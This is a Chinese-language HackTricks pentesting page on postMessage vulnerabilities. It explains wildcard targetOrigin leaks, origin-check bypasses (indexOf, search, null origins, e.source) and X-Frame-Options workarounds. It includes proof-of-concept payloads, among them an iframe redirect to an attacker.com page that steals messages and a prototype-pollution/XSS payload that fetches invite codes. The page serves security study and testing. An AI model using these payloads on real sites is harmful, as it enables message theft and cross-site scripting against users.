PostMessage 漏洞
Reading time: 12 minutes
PostMessage 漏洞
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
发送 PostMessage
PostMessage 使用以下函数发送消息:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
注意,targetOrigin 可以是 '*' 或像 https://company.com. 的 URL。
在 第二种情况 中,消息只能发送到该域(即使窗口对象的来源不同)。
如果使用 通配符,消息可以发送到任何域,并将发送到窗口对象的来源。
攻击 iframe 和 targetOrigin 中的通配符
正如在 这份报告 中所解释的,如果你发现一个可以被 iframed 的页面(没有 X-Frame-Header
保护)并且该页面通过 postMessage 使用 通配符 (*) 发送 敏感 消息,你可以 修改 iframe 的 来源 并将 敏感 消息 泄露 到一个由你控制的域。
请注意,如果页面可以被 iframed,但 targetOrigin 被 设置为一个 URL 而不是通配符,这个 技巧将不起作用。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener 利用
addEventListener
是 JS 用来声明 期望 postMessages
的函数。
将使用类似以下的代码:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
注意在这种情况下,代码的第一件事是检查来源。这非常重要,特别是当页面要对接收到的信息进行任何敏感操作(例如更改密码)时。如果不检查来源,攻击者可以让受害者向这些端点发送任意数据并更改受害者的密码(在这个例子中)。
枚举
为了查找当前页面中的事件监听器,你可以:
- 搜索 JS 代码中的
window.addEventListener
和$(window).on
(JQuery 版本) - 在 开发者工具控制台中执行:
getEventListeners(window)
- 在 浏览器的开发者工具中转到 Elements --> Event Listeners
- 使用一个浏览器扩展,如 https://github.com/benso-io/posta 或 https://github.com/fransr/postMessage-tracker。这些浏览器扩展将拦截所有消息并显示给你。
来源检查绕过
event.isTrusted
属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回True
。尽管如果正确实现,绕过它是具有挑战性的,但它在安全检查中的重要性是显著的。- 在 PostMessage 事件中使用
indexOf()
进行来源验证可能容易被绕过。一个说明此漏洞的示例是:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
search()
方法来自String.prototype.search()
,旨在用于正则表达式,而不是字符串。传递任何非正则表达式的内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)作为通配符,允许通过特殊构造的域绕过验证。例如:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
match()
函数与search()
类似,处理正则表达式。如果正则表达式结构不当,可能容易被绕过。 -
escapeHtml
函数旨在通过转义字符来清理输入。然而,它并不创建一个新的转义对象,而是覆盖现有对象的属性。这种行为可以被利用。特别是,如果一个对象可以被操控,使其受控属性不承认hasOwnProperty
,则escapeHtml
将无法按预期执行。以下示例演示了这一点: -
预期失败:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- 绕过转义:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
在此漏洞的背景下,File
对象因其只读的 name
属性而特别容易被利用。该属性在模板中使用时,未被 escapeHtml
函数清理,导致潜在的安全风险。
- JavaScript 中的
document.domain
属性可以由脚本设置以缩短域名,从而允许在同一父域内更宽松的同源策略执行。
e.origin == window.origin 绕过
在使用 %%%%%% 嵌入网页到沙箱 iframe 中时,理解 iframe 的来源将被设置为 null 是至关重要的。这在处理沙箱属性及其对安全性和功能的影响时尤为重要。
通过在沙箱属性中指定 allow-popups
,从 iframe 内部打开的任何弹出窗口都继承其父级的沙箱限制。这意味着,除非还包括 allow-popups-to-escape-sandbox
属性,否则弹出窗口的来源也被设置为 null
,与 iframe 的来源一致。
因此,当在这些条件下打开弹出窗口并使用 postMessage
从 iframe 向弹出窗口发送消息时,发送和接收端的来源都被设置为 null
。这种情况导致 e.origin == window.origin
评估为 true (null == null
),因为 iframe 和弹出窗口共享相同的来源值 null
。
有关更多信息请阅读:
Bypassing SOP with Iframes - 1
绕过 e.source
可以检查消息是否来自脚本正在监听的同一窗口(特别有趣的是来自浏览器扩展的内容脚本,以检查消息是否来自同一页面):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
您可以通过创建一个iframe,使其发送****postMessage并立即删除,来强制**e.source
**的消息为null。
有关更多信息,请阅读:
Bypassing SOP with Iframes - 2
X-Frame-Header 绕过
为了理想地执行这些攻击,您将能够将受害者网页放入一个iframe
中。但一些头部,如X-Frame-Header
,可以阻止这种行为。
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页,访问易受攻击的网络应用程序并与之通信:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
通过阻止主页面窃取发送给子页面的消息
在以下页面中,您可以看到如何通过在发送数据之前阻止主页面来窃取发送给子 iframe的敏感 postmessage 数据,并利用子 iframe 中的 XSS在数据被接收之前泄露数据:
Blocking main page to steal postmessage
通过修改 iframe 位置窃取消息
如果您可以在没有 X-Frame-Header 的网页中嵌入一个包含另一个 iframe 的页面,您可以更改该子 iframe 的位置,因此如果它接收使用通配符发送的postmessage,攻击者可以更改该 iframe 的源为一个由他控制的页面并窃取消息:
Steal postmessage modifying iframe location
postMessage 导致原型污染和/或 XSS
在通过 postMessage
发送的数据被 JS 执行的场景中,您可以嵌入该页面并利用通过 postMessage
发送的原型污染/XSS进行攻击。
一些通过 postMessage
解释得非常好的 XSS可以在 https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html 找到。
通过 postMessage
对 iframe
进行原型污染和 XSS 的攻击示例:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
有关更多信息:
- 链接到关于原型污染的页面
- 链接到关于XSS的页面
- 链接到关于客户端原型污染到XSS的页面
参考文献
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 练习:https://github.com/yavolo/eventlistener-xss-recon
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。